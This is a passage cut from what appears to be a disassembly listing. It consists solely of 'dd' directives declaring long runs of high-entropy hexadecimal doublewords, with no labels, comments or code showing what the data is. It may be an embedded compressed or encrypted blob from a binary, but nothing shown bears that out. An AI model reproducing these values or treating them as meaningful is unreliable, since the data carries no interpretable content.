6F3D9AF2h, 0F354F58Eh dd 0ABF94AF4h, 9B2068FAh, 0EC4FBA93h, 0BA58FD3Bh, 9F2C835Bh dd 0FBF53F53h, 1ED62430h, 82D76396h, 4121AC7Dh, 3EA4E4B2h dd 427BA51Ah, 0C13C44CBh, 17ABA862h, 0DAEBAA50h, 0BF75CFABh dd 7321F683h, 285919D8h, 0DEDE1971h, 0C5B5ADF6h, 0F584BF68h dd 0A8A13345h, 0E2DBCBBh, 3357FC05h, 0ABA3E360h, 79F91E77h dd 26931DB3h, 0BC3CAEB2h, 55AA8986h, 43C84BB9h, 5CAE8499h dd 0C217A295h, 875D6AEFh, 2D19268Dh, 0D38903A4h, 28FC3282h dd 262EF049h, 0D7E6C4ADh, 90D05807h, 0B30E56AAh, 0CE03D00Bh dd 0DD443607h, 0DD599C40h, 588BF53Ch, 0FD08FEDAh, 634F4379h dd 0CC7432C2h, 0C599AB69h, 0AED16E0Bh, 0F25C58E1h, 0E197653Dh dd 1E8AF156h, 0B274B693h, 0EC363F26h, 236F0745h, 0FE6F2C6Eh dd 0D8A17231h, 0F87D1681h, 0DE8915D0h, 4851C50Dh, 63309FCAh dd 47D4FD9Ah, 0A0C7E850h, 4B0C311Dh, 4BA21660h, 6F7A982h dd 7A589418h, 0DA8C1EEFh, 0B7C588A4h, 73EFB9Dh, 0CC9D42F3h dd 0C5F81DCFh, 8FD0C5EDh, 0BE349B60h, 16BBBFh, 2646839Dh dd 38C64462h, 3B611446h, 8DDE67CCh, 2D64E489h, 3832CA5Ch dd 0D7E01D34h, 838224A1h, 307ABBCCh, 490F82AAh, 0D63EE341h dd 4204C6FEh, 0F575E4AFh, 0A368794Ah, 4AD261E3h, 3E2D62F9h dd 0D9492FFh, 436D6E18h, 8D912846h, 0F66D664Fh, 3691D196h dd 3FEDB57Ch, 1D089E7Bh, 1191270Bh, 0C703F287h, 0BCE1AB2Fh dd 0E0BF4203h, 1A0C414Fh, 4D66E855h, 5FF5ABEBh, 0A46F835Dh dd 66FE9B4Eh, 0B07CD6ADh, 99143643h, 45A233F9h, 1375FFC0h dd 0B32707BFh, 27575DD6h, 0DFAC7549h, 0DF1CC9DEh, 6B852495h dd 0C4AA3F82h, 352CDCAEh, 0D5079F3h, 16932DFh, 2101D05h dd 1FBC4C3Ch, 0CC22D34h dd 8D185B7h, 3A7EF766h, 70106193h, 45A148BEh, 0E658A799h dd 2A679900h, 0C879B159h, 9649941Dh, 14D5A068h, 7D780757h dd 11BFAE4Bh, 0E41E1FDDh, 0EB756FD6h, 9B224AE6h, 125B3548h dd 5482AF09h, 0B0ECDAA3h, 0D48E6091h, 796AC7F5h, 0B8864BDFh dd 363CCE10h, 829B36E3h, 249D5764h, 510C99D9h, 1E08DDF7h dd 807F3D91h, 1CBDE9C8h, 8B6C4855h, 0D054F07Dh, 8382B2FAh dd 46CEDE7Ah, 0DAAB9F03h, 7E7F8D95h, 5C71BCC5h, 507CF4AEh dd 6FCB39D6h, 270AD6A2h, 20583565h, 9F676AF1h, 2C1E0F21h dd 0B1EC38E9h, 1861B391h, 18956E5h, 59CB0216h, 5BF755CBh dd 0CD62BEF8h, 0B7AFAB8Ch, 24E4B3AEh, 0E2AFCC9Ch, 7703EA8Eh dd 503F806Eh, 7DEFB7EEh, 9CE8CCDAh, 49FC38A2h, 0BB0B3173h dd 907DC6E3h, 1AA30CBCh, 33054BC8h, 2DA3B8C7h, 0FC10D82Bh dd 19B5AF0Eh, 0CD394DD0h, 0F8BA206Fh, 0DF862826h, 0E1AABBDFh dd 31F7ADCEh, 0B69AEAA2h, 0E7C2C267h, 8C8650CAh, 33FAF65Fh dd 0FECF4541h, 0E9FF0B85h, 6356AF96h, 0B1F37EF6h, 78659E8h dd 6229BDB5h, 0CA488880h, 6A524A0Ah, 4AF52021h, 0ADE9C8DAh dd 0D6309441h, 1623F144h, 4D7EC796h, 9B5D636h, 1C280CEEh dd 0F1B806E1h, 0DC52F046h, 0C63FD43h, 3E13C371h, 85268D5Dh dd 0D5E17B69h, 2919123Eh, 6A07FE64h, 82D0694h, 0D0CE7A9Ah dd 4A2BB66Bh, 0ED64FD6h, 6EACDB95h, 0D73CF658h, 0C2DBE4EBh dd 9C2A88A4h, 0BC77C4B9h, 19C11211h, 0BB5A33DBh, 9B7E7CA6h dd 68C9C1E3h, 8811394Eh, 0EDA711F4h, 0C3B2D14Eh, 532260BFh dd 0DF2AFF9Ah, 0A1BDF262h, 0C51E8F4Bh, 1F2E6A32h, 1606F44Eh dd 8E637A05h, 9C2AFBE2h, 0A24CD287h, 13A3F16h, 9CD84B20h dd 8B5A50C3h, 46645461h, 91D51127h, 0F656347Bh, 37D5D85Ah dd 4E97C079h, 8CAB94CDh, 0CF7D3EDBh, 6961865Dh, 8A8AB4E9h dd 975FDD9Dh, 6C14219Fh, 0B6AFFEECh, 909174B9h, 2AFB6DD3h dd 117C1659h, 9FE37898h, 743610ABh, 7AE2E88Fh, 0CB87DAABh dd 63604A12h, 5B938ECDh, 91DD43ECh, 7E7A6586h, 27EA7B1h dd 2787EC79h, 0C67BCD78h, 67D7F05Ah, 45D1B654h, 0F3D8B677h dd 0C892554Fh, 0A9822A26h, 26F2676Eh, 0B307C50Fh, 2CAD5F20h dd 305AF60Bh, 0F65A89ADh, 2D60956Ah, 5AD589CFh, 91F5DDD7h dd 0F6D01C8Dh, 66FA6BC0h, 3E019E9Ah, 771592FCh, 48D999FDh dd 0C8B7F746h, 0AE72138h, 6307DE51h, 0E2D02539h, 2944D5B0h dd 0B8F31806h, 14A66D3h, 9C261CC8h, 0ECCC3726h, 0B0EADD74h dd 8423AB29h, 0E2F9610Ch, 0A5D887D1h, 0C0F39490h, 2827F6B4h dd 8B902A1Bh, 0AD5DDF04h, 0A405EBA8h, 0F91988CAh, 0F5205AE8h dd 473F3718h, 8A8E8C93h, 7B158A1Dh, 7438F8BEh, 0AF140713h dd 0C6A78BC9h, 3248824Fh, 658ED113h, 0AD4E1774h, 0BD2421ABh dd 1F26DC7Dh, 0F815F469h, 8558E1Fh, 7EB4FD10h, 0A3A97F93h dd 93E9D5F6h, 0C35BC206h, 35D01D7Ch, 0CB3A703Bh, 6096DDFFh dd 5E2D3B8Fh, 52521F56h, 2FB35A36h, 159C1A5Ch, 0CCD4DBA3h dd 7AA6C98Dh, 0AE17587h, 2499B32Ch, 539741E4h, 0F369A3A3h dd 0A14ECBE5h, 0A8636731h, 2A28BD26h, 7BEAF0BAh, 0EB5691A1h dd 0D9A844D4h, 571A523Ah, 0D9CE9A23h, 3029F84Ah, 0F4E2808Ch dd 0B2B3D539h, 74CF491Bh, 0D0F7878Fh, 5AEB3AB3h, 8560CA71h dd 0EDE74AA5h, 0D510FF4Dh, 4F5AD578h, 0D86E3CEEh, 0D56E8B15h dd 9FF58EFFh, 3332BB2Ah, 3B53662Fh, 453DD0CCh, 2490CD0Fh dd 53B6B091h, 69B38A60h, 36FE9900h, 0DEA5C89Ah, 7BB19B6Dh dd 8B7C69CDh, 76D5827Bh, 0B3E4FDBBh, 68D74816h, 9E41E3CAh dd 493E805Eh, 0F53740DBh, 0FD6F76Bh, 0EB3BD7F8h, 8B5E759h dd 96418E43h, 374E52F3h, 0C9D10192h, 411BCBFDh, 1DE766CFh dd 19D7FF4Eh, 0F6A7B048h, 9DAADFFFh, 9134670h, 6A8A4535h dd 1171A4ADh, 428C9A8Bh, 82914C7Bh, 0C7C5FCEDh, 38FB09E4h dd 990E6641h, 17E0128h, 30FD6B27h, 6415D850h, 515BEDD4h dd 0B9E360D6h, 0B41364E0h, 39DA4169h, 75588E0Eh, 0A9D1F731h dd 0A07D887Ch, 53195989h, 0DBAFAA4Bh, 0D9E22CEFh, 0BEF852B6h dd 24B69287h, 20C95E48h, 0FF30EE56h, 8D40A675h, 4D428BBFh dd 0CF69FB8Ah, 0EF52F69Eh, 0F61175F0h, 94CD5793h, 48245798h dd 0C8696AD1h, 525DD25Fh, 5A677AC9h, 69FBD08Ah, 6F43BA9h dd 83DE7C88h, 6BE70DE6h, 60497098h, 2E49E7F1h, 46838858h dd 6270D0EEh, 74B4E936h, 0EA2665D6h, 0ED0DDE58h, 0A52402DDh dd 5330D80h, 0ED0359CBh, 0F0E0AAAh, 7ABC3AD2h, 27ED8F79h dd 0E831F0E9h, 507BE9C2h, 8D6FC950h, 4281A15Eh, 4B5B18AFh dd 56FBEB8h, 5BDD2D69h, 772D0BB7h, 29BDFF85h, 823C52C6h dd 3856D0FDh, 0FE43F582h, 80A40CB2h, 2293C9E7h, 0B470F665h dd 22192E67h, 348A9B88h, 23A96211h, 0FDFB1BAFh, 0E699344Ah dd 746AB203h, 8CD8093Ah, 0F4151128h, 357D12CFh, 0F792AE93h dd 0B48BF538h, 6305F70Ah, 4DD233CDh, 629928C3h, 8C89C399h dd 5DC27F97h, 0ED979D83h, 320A3BDCh, 267AC997h, 50AAFC26h dd 7A2F40DEh, 8D7EB76Fh, 1CC2E8A5h, 4D9FE912h, 8F827350h dd 0B81290D0h, 0EF2F1B9Ah, 0B4556Dh, 11A3DBE1h, 70878737h dd 7427C6A5h, 20545EDh, 233419F9h, 0DADD7D74h, 0AAC2C099h dd 111EBBEFh, 0D1CC7DA7h, 977167h, 0F2E5C4A5h, 4CA8D240h dd 1D668019h, 0BBC2BC48h, 0B5200A9Eh, 0F77ECBBFh, 7D3EE891h dd 0E2140A24h, 72EFBD2Bh, 0BC6A1705h, 0F374FCD2h, 3A5E0EAFh dd 4EEC64FFh, 3CDA5E1Bh, 0F5B2BDCFh, 67F5BE2Eh, 0EF4DC461h dd 0B5420ED7h, 0E30DBA7Bh, 3E682B16h, 0D37E1EDAh, 4EFCBDDEh dd 9F587EE8h, 0B1FEEC6Bh, 50A5A34Dh, 45CC312Eh, 7EB8010h dd 7977B942h, 0D07514A9h, 0E3DE7666h, 0A42C3B79h, 10E76C0Dh dd 8D55FF4Eh, 9DFABC0Dh, 22E19B28h, 0DDA2DDF9h, 549CC270h dd 0C8DFDE9Eh, 0D7EC6F39h, 0F1BC4EC3h, 57DD88BFh, 369F3CA1h dd 38185C92h, 456D75FDh, 0A880BCB0h, 0A9A31997h, 0D6971692h dd 0B946D715h, 54DEA73h, 0CDF69F74h, 0D1A20447h, 188CA6B0h dd 5698C4D2h, 119F5FDAh, 628612BAh, 0FEFB3ADBh, 0F9C05462h dd 0F142C2B6h, 76A7A408h, 18DC525Ah, 1CACFEACh, 0AD7271C5h dd 0E624F5DDh, 591D926Bh, 8B8916A2h, 4D6F1A7Eh, 8B281BB5h dd 0AD60A36Fh, 48B079D6h, 60C358EBh, 1CF5DDC8h, 0CEDA1FF2h dd 0B53739FAh, 0C14C16A8h, 0A774C90Eh, 27F00800h, 62845A60h dd 925E314Bh, 0BC2DC4DDh, 0FACF106Dh, 0FFC4A3Eh, 91C98C77h dd 34024B30h, 0DC367A3Bh, 37E81DD3h, 298D054Bh, 50085EFEh dd 58D20F5h, 0B92D0BD9h, 0D2EA371Eh, 8D08FAF5h, 755CC814h dd 0E526F1A3h, 0A0E66512h, 0C5B5BF77h, 70771A8h, 84518CCBh dd 0D22FD5E5h, 9ED0871Ah, 0FDCCC562h, 5D89BA70h, 0DD0984D8h dd 35045142h, 0F94AE2EFh, 0EFB150E3h, 0CD661C6Eh, 9E111F49h dd 26B5A719h, 1277ABA5h, 0B15DC450h, 4921F9D8h, 0C96BD6E5h dd 7BBBD548h, 73B2C036h, 5039BE13h, 0D2E74446h, 1DD574F7h dd 0DDA45557h, 8F2607FDh, 411F337Eh, 0DA8D985Eh, 4D1518Dh dd 7EC374BBh, 4D6AE5F8h, 5CCE4FE7h, 5F907E4Eh, 7B38FF63h dd 9607D556h, 8D48B5Ch, 5B144C7Dh, 0AA0E13C4h, 913B6959h dd 0FDA51A96h, 27659AD8h, 0B977C172h, 0B0E844BDh, 0FBC897Bh dd 0AF54F402h, 0EABF7696h, 41B37862h, 58A3C5FCh, 5F429Fh dd 0CCBC0585h, 2C92DA4Dh dd 79B86631h, 0CF57BF95h, 6C5CDC9Eh, 7C61AE70h, 0BEBD6C49h dd 345B12F5h, 3E100D1Ch, 0D057CDCDh, 555E9357h, 139BFC96h dd 0CD15A37h, 14A573AEh, 62FB5F33h, 8CCE6129h, 0C21249A5h dd 8DC74A29h, 27D1A08Dh, 706F7D36h, 30E197D4h, 0A60C9A7Fh dd 285FD733h, 3BC6F006h, 621F460Dh, 46C3AD5Ch, 0E22DFA8Ch dd 0C40DA1ABh, 25B0996Dh, 9C18E0C7h, 0E56533E4h, 0E5BEE082h dd 0FE54D022h, 4514CA8Fh, 23D28390h, 0D4AA72E9h, 0A3161F96h dd 0A495B463h, 5D9B5DCAh, 6A18A4A8h, 0A4E21401h, 7937B3E4h dd 8635A22Dh, 40D2EA81h, 61F021F9h, 72B3147h, 6E16CD11h dd 0E65BDC1Dh, 2FAAC07h, 1580135Dh, 28F1FE06h, 0FDB030D1h dd 0B96F4A0h, 8F0DE0E8h, 0B96BE2E6h, 47DC8DABh, 958028AFh dd 5310B1C5h, 360A15CCh, 5670AB6Eh, 0C68E9258h, 0CFA78CBBh dd 25EAD35Eh, 0AFBF1F84h, 713DE57Ah, 90BDD944h, 1B8E09DEh dd 45900FA3h, 2604C1BAh, 66C3C6E5h, 8959BE46h, 108E10h dd 7593589Bh, 400DB534h, 0BD0385EFh, 8A078BEh, 40CC31F7h dd 23CB4033h, 12FFD417h, 2E3C8AAFh, 26780144h, 0DF8E7E69h dd 0BC6B1B22h, 58BC44D6h, 47613EA7h, 0F43EE3CBh, 2CB79F6Dh dd 5FD2144Bh, 0C64CA824h, 0F72BEE05h, 41CE793Ah, 0CACA45DFh dd 0B0F2EE1Fh, 0A93B4C71h, 0BB0FF17Fh, 0CA2A4E86h, 0C8F8421Eh dd 0F004816Eh, 9099F255h, 94001289h, 43E693B6h, 2EF154B6h dd 4D815FEFh, 62825A4Fh, 0C57CF1ADh, 0B8BC9483h, 0DFDDE9B2h dd 0B36A9C11h, 9D62B4EEh, 0BF7A32DCh, 868B5646h, 20B9FCE2h dd 0DAA47D2Ch, 6E32EB15h, 1B6BAC78h, 2797E690h, 8074765h dd 995E90Dh, 576DF276h, 14E862D0h, 11473749h, 388F1F10h dd 1C6D23D4h, 66BF0EEEh, 9D2CD9EFh, 0AC899BD0h, 4D9953BBh dd 2E3223D8h, 521B1BFBh, 8B589A95h, 93BD2466h, 16D180EAh dd 6AF8AFD3h, 9B8795ABh, 7B4DC622h, 2D5AF8B4h, 0FD6EC73Ch dd 80B5F5FEh, 0AC77AF60h, 7EEAA93Bh, 0F3440433h, 1508881Ah dd 2D990782h, 3E49A3E8h, 0D7CF9927h, 0FE40BFD7h, 0D67BE36Dh dd 9752881h, 2E2B4CA0h, 0AF7AB2B1h, 5C54FE44h, 22D5E7B2h dd 9A984B8Ah, 484A8791h, 7299D66h, 2293D705h, 48BD08FCh dd 0F3643EB8h, 2EEECE3Fh, 0F40F16EEh, 501DBAB5h, 0AF0BCD0Dh dd 0AAAD280Eh, 8A782F53h, 125C4533h, 5665690Bh, 0C336F78Bh dd 0B0710428h, 9BC30FDEh, 0B0F94A3Fh, 1098B1C2h, 379D2C8Ah dd 0A4F85540h, 73CCF240h, 0A15FC960h, 0EBAF4D0Dh, 98E07A25h dd 0DD12A67Fh, 1E96F3CAh, 755FF38Fh, 7AACEEA4h, 7EC93544h dd 2756665h, 35EEF38Ah, 0AA455912h, 1A5E17DEh, 0E9F042EDh dd 0D1E8F787h, 35FAB45Ah, 36384E83h, 90D63ED0h, 0A46EAE6Bh dd 3E9E5B62h, 92B7FC7Ah, 7421F7BCh, 0C9D749C1h, 0F69A335Bh dd 11977A3Fh, 0F73A3A11h, 433F6C3Fh, 9B24F922h, 41D0A5B5h dd 2C42B57Ch, 3AB32AE8h, 88126E7h, 1FC45D8Dh, 78D9227Bh dd 0D149A476h, 7321D680h, 0CCE319A2h, 0A9F09587h, 52B74AF0h dd 6D0418B1h, 7A85ABB1h, 92B716E7h, 0CC7028A6h, 3CCC03B4h dd 47B1BC8Fh, 320731DFh, 7D70DFDCh, 96B6022Ah, 549FD526h dd 34291054h, 5AD06100h, 0A9F38620h, 0D3F06433h, 82CAB772h dd 221407DFh, 51CAF5E1h, 20F34933h, 4DD42D6Fh, 713379DDh dd 0F6C6A66Dh, 0A0069C67h, 23CB78C3h, 8C49CE54h, 0AF3D4E91h dd 1265957Dh, 6DB1283h, 4B462B28h, 0DC27C99Ah, 79F9AAE7h dd 16220DDEh, 0D39F1B2h, 5A0BDE34h, 0C0D77EC5h, 0C0188357h dd 0DE229733h, 0BE404D4Ch, 43CAEA38h, 3047CF6Ah, 32FC7905h dd 3AA423Fh, 0C281412h, 3BF93235h, 0A4862BD0h, 6827F4C3h dd 0AB10B964h, 14CCF2EDh, 1D0F019h, 0D5320118h, 800889B3h dd 24951E25h, 4E71BB87h, 8C16696Ah, 3EBA3C23h, 793FF5F1h dd 89AD7BC4h, 3E0B6F56h, 6AD71Eh, 28A84C8Dh, 5A0D4E11h dd 0BED1E0F2h, 0FA344006h, 0EEFFC811h, 6AEA4787h, 9FABC4E0h dd 1133B67Dh, 0B6E04B31h, 634C5190h, 0C9AB74C9h, 0E842344Bh dd 8799EEDFh, 2FF5F076h, 0EAC334A7h, 0BDB60079h, 8AF6ACD5h dd 0C04DAC68h, 0A015C155h, 8750650Bh, 7D6A22C3h, 0EBDC0070h dd 0C732DB42h, 0FC2C35E2h, 59B08A20h, 0E7CB0896h, 976DAE87h dd 68F2FBAEh, 0AD1CA907h, 6F8859A4h, 13DDD697h, 285F06EAh dd 850BF62Bh, 32E03D28h, 55C855E6h, 5422972Ch, 40DC1ECDh dd 5EA4047h, 9E2EFF6Ch, 6E612844h, 4E7739F6h, 36F2DB48h dd 81644801h, 848CE094h, 93CC1230h, 69F24B8h, 0CA74FB3Dh dd 60F46AB4h, 91DA8FFFh, 4782D3B6h, 54DF50C8h, 0FD702ADDh dd 0D655BFADh, 78DF7E11h, 0EB65C61Ah, 1866972Eh, 0D77435DFh dd 2CB103F5h, 36D081DBh, 722CF9C3h, 0BF3F9B07h, 4A7E5377h dd 0F22744E2h, 0BEF1F2ECh, 0AA51FE9Eh, 26D15652h, 705F2D35h dd 24201E95h, 0C658E437h, 82FBC007h, 0C324D24Bh, 0F8F464Bh dd 9F18A96Eh, 4CC4569Dh, 91A71C35h, 83BF7D8Ch, 27DF2AC5h dd 5AEC4F7Eh, 672A1AC4h, 19FE46AEh, 99DB3364h, 0E96BA6h dd 0CCD12F02h, 0E7F79DB5h, 0BC6CA7F6h, 83C9DE4h, 0BFB8ADB7h dd 0AD7EDE9Dh, 0B6243EBAh, 23E0E24h, 9D60762h, 651CE54Dh dd 0D7B2A3AAh, 3534E616h, 0A4AD5838h, 8F636AC0h, 3AD110FDh dd 39B387B1h, 215B925Fh, 4D048728h, 0D34F4EB9h, 3E37FE74h dd 2574A97Dh, 7E8F834Bh, 7A10140Bh, 8FA82CFDh, 0E5E2EF79h dd 5D969B18h, 6A3319D2h, 2E176C23h, 0E6843580h, 4685BBC8h dd 0F7E5CD1Ch, 0E619F926h, 614ACE60h, 8848DB7h, 0D3CD08D4h dd 0D200B71Ah, 3379B219h, 0AC6D37E4h, 82C2DC0Eh, 3F2B5216h dd 83A136F9h, 2B80D7DEh, 0F3870FEDh, 0DA13DE9Eh, 7697D7C6h dd 7630AE86h, 62572300h, 0F78A0D35h, 0DFB883DCh, 0D0568186h dd 0AEA68594h, 5F76EA8Bh, 16BE4243h, 0B3161D14h, 47F63D14h dd 0FE063BF3h, 0BF2BF038h, 62B0DF0Dh, 4CC493CEh, 884EC887h dd 0B6C7E9CCh, 8C49F73Bh, 3862A0BBh, 0D1C3B375h, 879DC06Ch dd 45C74DDFh, 1463BCA0h, 7B8B2DBAh, 16572C37h, 0D8D761F1h dd 70371E0Ch, 30B6D68Fh, 0D4C0FEA7h, 0A3F5D8CAh, 35E314ECh dd 5F880F5Ah, 0F6B3571Ch, 5DDF8CE5h, 15FDF92h, 0FAC9039Ch dd 83A9AB8Ah, 6845723Eh, 1538E894h, 0CC6F53BCh, 0DDB20D4Dh dd 0DAE8AA79h, 0B5D127EDh, 0F884E18Ah, 8743682Dh, 40A7476Eh dd 55DA7304h, 1CEB3C9Fh, 0F713FD47h, 56A9EB15h, 55D0C570h dd 7513A58Bh, 0CD4908CAh, 3B084328h, 11F63C26h, 0C6D26E24h dd 0B5307607h, 0D0A5CEEEh, 1684585Bh, 195651D1h, 0F82D433Fh dd 0E50928DFh, 9F338117h, 27D94BC2h, 0B2DACF4Ah, 53884888h dd 429D9C80h, 9F9F69B4h, 37FC7DDDh, 0B9D857BAh, 2881CE79h dd 8958D3B4h, 0CDAD4CECh, 0BC6E6710h, 0ED3B9765h, 279C2DD6h dd 6A5ED96Eh, 242E13D2h, 805710E0h, 6DF45A4Bh, 9B7850A8h dd 0D16621DDh, 1566E5D5h, 0C276C9F0h, 0F08BAAFBh, 0D6D7FC77h dd 0DF619B44h, 0F2B5E16h, 175BCFC0h, 79790A15h, 927481C6h dd 56EB22FFh, 0F18027D6h, 56376614h, 0E3B69BDDh, 96A309AEh dd 6AF1CD72h, 80360631h, 6C72144Ah, 30C21035h, 33FBE44Fh dd 34054972h, 2C811689h, 89995A13h, 6821732Eh, 0A4410AD3h dd 0B5953098h, 39867BD4h, 6B36B141h, 7F46D8Eh, 5961B3EEh dd 4DB243BCh, 0A09AB790h, 0E99ED750h, 91CC4BC4h, 0D11E7B47h dd 8CCABFA0h, 6CC919E1h dd 0E9F1CE67h, 801530Eh, 7D695A03h, 81F4D4E8h, 36C87109h dd 8C5CAE6Bh, 62AB7C2Bh, 809F6481h, 14AD4870h, 0DC690637h dd 0E6017D96h, 78F79E65h, 76312EF6h, 0FF7DC271h, 7128929Fh dd 5CD734B1h, 0E678BE61h, 767F2351h, 4D67CB10h, 9360F6B7h dd 513299DAh, 5BD9CE6Dh, 0B52523EAh, 0CBC16D61h, 0F632E467h dd 0E077F56Fh, 0CCAC519Bh, 95AD39F0h, 40C1C89Ch, 7CCD2545h dd 804A33E0h, 9619C280h, 0F3203DE5h, 4510CE30h, 0D18ACB0Ch dd 0A9EADB04h, 0B867A354h, 207649E4h, 0F6A5AEF4h, 0F273D105h dd 4E54B7FAh, 0E53AB8F4h, 0FDB7CF10h, 5B565057h, 0E08254CAh dd 0AD6EE79Eh, 9EE79B2Ch, 0EC0C07DDh, 0B7EA76B4h, 58ACAD71h dd 0CC43C905h, 0C73BC463h, 8C4FFE50h, 45D88A1Fh, 87AF1AC3h dd 2B83772Eh, 3506EEDFh, 2AC240D9h, 496B3AB9h, 0F5A7A1F0h dd 628538F7h, 5D559AFh, 8CEE57EFh, 7466112Fh, 0B44E5D08h dd 7600F93Ch, 0B1E27CFDh, 9ABC9980h, 6310EC1h, 385FA70Eh dd 28632BC3h, 7EA5394h, 4DEC9DCFh, 0DB7707A0h, 3CFE579Ah dd 0D24623F0h, 97CF61h, 0C2BDB5EAh, 0FF707D61h, 12DD12F1h dd 0C0CB6CFDh, 3BDC252Ch, 0F5073EB2h, 0EED31FA1h, 0C378C90Eh dd 49FEC744h, 0AA6D6A07h, 0FFCB7BD5h, 420B0AE2h, 0DC88AA5Ch dd 22E9A9C8h, 978DCC90h, 74F42392h, 4DD6BAFFh, 0D87F62A5h dd 1EBBAD5Dh, 0C44365A7h, 0F1AE6E0Ch, 0B6CF65FAh, 54C479DBh dd 34027A3h, 0A3F234C9h, 0BA928C1Ch, 15431BB0h, 46BDE22Bh dd 87CE57Ah, 5B399FFh, 7EDB5CF5h, 0AE1054E2h, 3F3365ABh dd 3DDFA769h, 22FF25A2h, 0EF10CBA0h, 0AA111C55h, 850EC772h dd 476AFB73h, 95AD3C05h, 0D532A3A0h, 539DABC4h, 3156D4C0h dd 1AFFE5EDh, 0F71E4722h, 0FE4758B0h, 53E67F1Ah, 1F84333Ah dd 25349966h, 0E6984DF4h, 8D47F2F4h, 9B17C073h, 8C6B80FEh dd 61B25FA5h, 69116245h, 49A64022h, 0D8C76B04h, 48D28119h dd 6C7FEA1Dh, 0F039CCD0h, 9E3F95B7h, 577A8814h, 98F2E827h dd 0BEABF4C9h, 75D40E29h, 635746BFh, 7542FCCh, 0ACE91D72h dd 5361C6CEh, 54DC0E1h, 0D1970AB1h, 0DA7CB64Eh, 99912CF6h dd 6B5882DFh, 4BF300E9h, 37032BF9h, 0DF722A0Eh, 0D72C3916h dd 0A755CAF6h, 21FB1134h, 0B916D573h, 0A195CBFDh, 0C0F9865Fh dd 55D99DD4h, 0FDD85D50h, 116E170Ch, 8C3C6CD5h, 576CD3B7h dd 0D359A25h, 218D4F63h, 8DCB652Ch, 25C2DB22h, 8A275441h dd 0BEE15C25h, 0FD8EFDF8h, 96C58415h, 12287E1Fh, 5853147Fh dd 5ACC0DE8h, 3C40E6DDh, 0EE681A98h, 899A272Bh, 0D430C5F2h dd 0F226E47h, 0C6F9BD86h, 0CD1B90FBh, 0B1CA74CAh, 295F7E1Fh dd 0C646AA89h, 0CD4E8B56h, 53C7FEBCh, 4EB39BAEh, 0FBCA5A1Eh dd 4DE20197h, 0CEEF68Eh, 1EECB96Fh, 0E37B3ED5h, 0D335161h dd 4B5E255Fh, 0B93AB070h, 0F358CD4Fh, 0C234F399h, 21EA0364h dd 0C9B40D24h, 0C6DCB2E4h, 0D02C8DD2h, 257BD04Fh, 864DCF3h dd 7D601CC9h, 993B7197h, 0B3CA20FBh, 7C613AFAh, 8FEAAC0h dd 0B6646507h, 0E5F0F25Ch, 0D5097DB3h, 0BB9A385Ah, 8835045Eh dd 9EBC38EAh, 0F0FA7B8Bh, 77D348C9h, 0F0CEA9C1h, 19A1A50Ch dd 7EB4115Ah, 8A3E4FC4h, 1094A6DCh, 366AEA66h, 169EF4E4h dd 5874AD19h, 0E9AEEE71h, 251BB72Eh, 2C0A398Bh, 0E23530EFh dd 0A64881EBh, 813CE53Fh, 5DE066Eh, 205EF27Ch, 9BB88758h dd 196A2D53h, 5AEDB290h, 2C0FA72Dh, 6E1B7295h, 0A1266095h dd 967E2F66h, 0A23F389Bh, 6AFB1222h, 91565FEDh, 0BE2EE3ABh dd 13C9ECD2h, 9409E2E8h, 1FDCE13Ah, 8AC164C6h, 75024615h dd 9E16C0D6h, 868BB522h, 0E2DA468Bh, 0BE76DB05h, 45E83CEFh dd 0F4C5B2A5h, 2BA73B94h, 21C34FE7h, 0C19944E5h, 0D2EEBD6Bh dd 0F2619120h, 2B355AA5h, 20EB02DCh, 0CE9309BAh, 1C20A0C8h dd 0B2784357h, 233BA2B7h, 0E38B6736h, 1A86D24Bh, 0D75A9A60h dd 8088EB7Ah, 81F6F03Dh, 0B80E339Ah, 903ACF1h, 147C135Ch dd 11D0B889h, 729E8338h, 31362D2Fh, 5B2DD577h, 563392B7h dd 559C4D8Eh, 4CDCAB46h, 0C803F88Ah, 0D4608E1Fh, 0EB38F59Bh dd 871D80CFh, 0A4CC7DB3h, 0DABA36A0h, 0D7F32518h, 0B4068CCFh dd 89A68869h, 6836568Fh, 2D5B39F5h, 3CE68F76h, 0EA0AAB75h dd 0F8C28F35h, 20C58C55h, 3964B8D3h, 984C98F6h, 800A4BD8h dd 0DF83B2CAh, 837FAFBEh, 0CF8BFA02h, 0C2E9974Eh, 6FB02D1h dd 113494DCh, 68677BA3h, 551AA7B7h, 0D2ACAE69h, 0FD1322F6h dd 208957E8h, 507F37D6h, 84E78988h, 5094A2F0h, 0D5D4A061h dd 3464C8B9h, 0F7360FD4h, 0F35636A1h, 1811A56Bh, 0BB9A9C6Bh dd 0F516A265h, 88496CF9h, 35488A7Fh, 60154DB7h, 4CF833C6h dd 358DB1ECh, 79F90C46h, 856A838h, 9D9A0FC2h, 63A61DE8h dd 11B344Ch, 0DD529510h, 0A5EE272Dh, 10DBF139h, 0F7F889FDh dd 5B8E8F4Ah, 47DE2438h, 3AEC5BE2h, 0A35CECCDh, 509A1D2h dd 0FC27941Eh, 0D81527BBh, 84F8804Ch, 1E705548h, 3936095Dh dd 4AB0592Eh, 0D5E66452h, 0FC388C78h, 9BCBEFB8h, 14D7A042h dd 16857D8Ah, 0CCD5994Ah, 0CE44FE0Ah, 1C5DDC7Fh, 9E902F62h dd 0D374EF11h, 17B930E0h, 95D3A14Dh, 74A9D915h, 0BDED288Ah dd 948EB076h, 5040F154h, 0A44D0B84h, 414C32DCh, 2BF66227h dd 8E49E26Ch, 95DECAECh, 8581925Dh, 79E70F69h, 84D974BCh dd 0CDA16A27h, 8B34513Fh, 5BD25EDDh, 4DFF8012h, 28E96FEEh dd 2A741E2Fh, 0DEF07FBh, 23E740C5h, 1BB90052h, 0DEB3755Dh dd 549A5CFDh, 0E01411C0h, 15E83B8Fh, 0C8FE8473h, 466D387Ch dd 63EC4DF6h, 74F86813h, 3632B5CCh, 0A77B23E7h, 0D792946Bh dd 0A8BD9148h, 4908B212h, 9AFB6Dh, 8C34B839h, 300EAC9Dh dd 0F82E11FDh, 0D905A36Fh, 73C36329h, 547222CFh, 0BEFA4D7Ah dd 24746872h, 5B731413h, 0FC2A38F8h, 5DEEECC6h, 34AAE4E8h dd 9AA0B677h, 0CF0EB961h, 7001DFCCh, 1F920525h, 1F81F8FBh dd 0E00B985Bh, 0ED627205h, 3E17F5A9h, 899B1776h, 0DADBD5AEh dd 65E2AFAEh, 81A8666Ah, 0B8108FE2h, 0A2E787E5h, 0C5D7E530h dd 0FD14C55Ah, 53915C9Eh, 2CA924Bh, 0CB84433Fh, 802E0D1Eh dd 1BE70E42h, 35444EF8h, 8E8E9F8Fh, 6B2F119Eh, 9738F87Bh dd 7B9769Ah, 0CB4688F1h, 0C4263425h, 